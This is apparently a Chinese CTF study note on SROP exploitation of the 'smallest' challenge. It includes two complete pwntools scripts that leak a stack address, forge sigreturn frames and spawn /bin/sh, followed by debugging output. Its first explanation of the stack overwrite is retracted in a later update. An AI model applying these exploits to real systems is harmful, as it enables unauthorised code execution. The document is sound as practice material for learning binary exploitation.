之前其实也做过srop的题,但一是因为之前太菜,其实并没有真正的理解;二是之前没做笔记。所以其实学了又感觉没有学。


原理部分:
wiki
大专栏
他们讲得已经很好了,至少对于给出smallest这道题而言。
简要说明:

当进程从用户态切换到内核态的时候,进程的一些信息(各寄存器状态)会以结构体Signal Frame的形式写在栈里。当需要切换回去的时候,只需要触发sigreturn就行(系统调用好为15)
所以,当存在溢出时,我们可以伪造一个我们需要的Signal Frame,然后触发sigreturn就行。


这题插一句,rax寄存器通常会被用于存储函数的返回值;同时,当我们需要调用某一个系统调用,相应的系统调用号也是储存在rax里的.

这里就有了很多的操作空间—-可以将上一个函数的返回值用作下一个syscall的系统调用号。

所以这个题里面,我们就是利用read函数读取的字数(返回值),控制rax中值,然后调用syscall;ret。

例题是wiki上的smallest

这里有两个exp
wiki版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')

sh = remote('node4.buuoj.cn',29624)
# sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'


syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
sleep(1)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
sleep(1)

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
# gdb.attach(sh)
# raw_input()
sleep(1)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)


## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sleep(1)

sh.send(payload)
sleep(1)

sh.send(sigreturn)
# sh.sendline("cat flag")
sh.interactive()

另一个是简洁版,但我还没有,比较局限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process('./smallest')

reread = 0x4000b0
syscall = 0x4000be
rereadaddr = p64(reread)
syscalladdr = p64(syscall)
context.clear()
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = 0x7fffffffe4e8 #binsh`s addr in fact,we need to leak it
frame.rip = syscall
print '###rereadaddr'+rereadaddr +'###'
print '###syscalladdr'+syscalladdr +'###'
binsh='/bin/sh'
print '###send playload1####'
playload1 = rereadaddr+'a'*8+ str(frame)+binsh
p.send(playload1)
print '###send playload2####'
playload2 = syscalladdr+'a'*7
p.send(playload2)
p.interactive()

这里,我其实有个疑问,昨天也调了好一会儿。
在给出的exp中

1
2
3
4
5
6
7
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

gdb.attach(sh)
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

我们前一个payload把start_addr和sigframe写进了栈,当程序再一次运行到read的时候,其实p64(start_addr)已经被pop出
此时栈上的数据是’a’$\times $8 + str(sigfram)
此时,我们再往里面写p64(syscall_ret) + ‘b’ * 7,它其实是先把’a’ * 8 给覆盖掉,然后覆盖掉str(sigfram)的前几个字节,然后再调用的syscall
疑问就是:sigreturn大概率也是依靠在栈顶上的偏移读取信息,这样不会出错吗?

1
2
00:0000│ rsi rsp 0x7fff0e3a0650 ◂— 'aaaaaaaa'
01:00080x7fff0e3a0658 ◂— 0x0

发送sigreturn后的栈

1
2
3
4
5
00:0000│ rsi rsp 0x7fff0e3a0650 —▸ 0x4000be ◂— syscall 
01:00080x7fff0e3a0658 ◂— 0xb062626262626262
02:00100x7fff0e3a0660 ◂— 0x6200000000004000
03:00180x7fff0e3a0668 ◂— 0x62626262626262 /* 'bbbbbbb' */
04:00200x7fff0e3a0670 ◂— 0x0

后来想明白了,其实应该是自己说服自己,这种情况,sigreturn依靠栈顶偏移寻址信息没错,单次是,栈顶其实并没有改变,只是栈顶数据被改写少许(包括sigfram的前几个字节)。但是那些被改写的数据并没有被影响,或许本生就没多大作用,
我打印了sigfram的内容看了一下,前面很大一部分内容都是\x00,可能本身就是用来作边界的非重要内容,或者在这里不需要用作记录信息

1
2
3
=========sigfram内容
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xaa\xb0\xfe\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\xaa\xb0\xfe\x7f\x00\xbe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
=========

更新:

很久以后再看这篇发现

关于前面疑问的补充,是错误的,整个fram的内容是一个大结构体,是状态转换时所需要的信息,并不能说,前几个字节被覆盖了无所谓。

前的疑问里,我认为程序在执行后,rsp会自动-8导致后面写入可能覆盖掉之前的一些内容,但是我忽略了,fram.rsp会使rsp的值被改变。也就是说并不会覆盖到fram里的内容。

2022-01-25

⬆︎TOP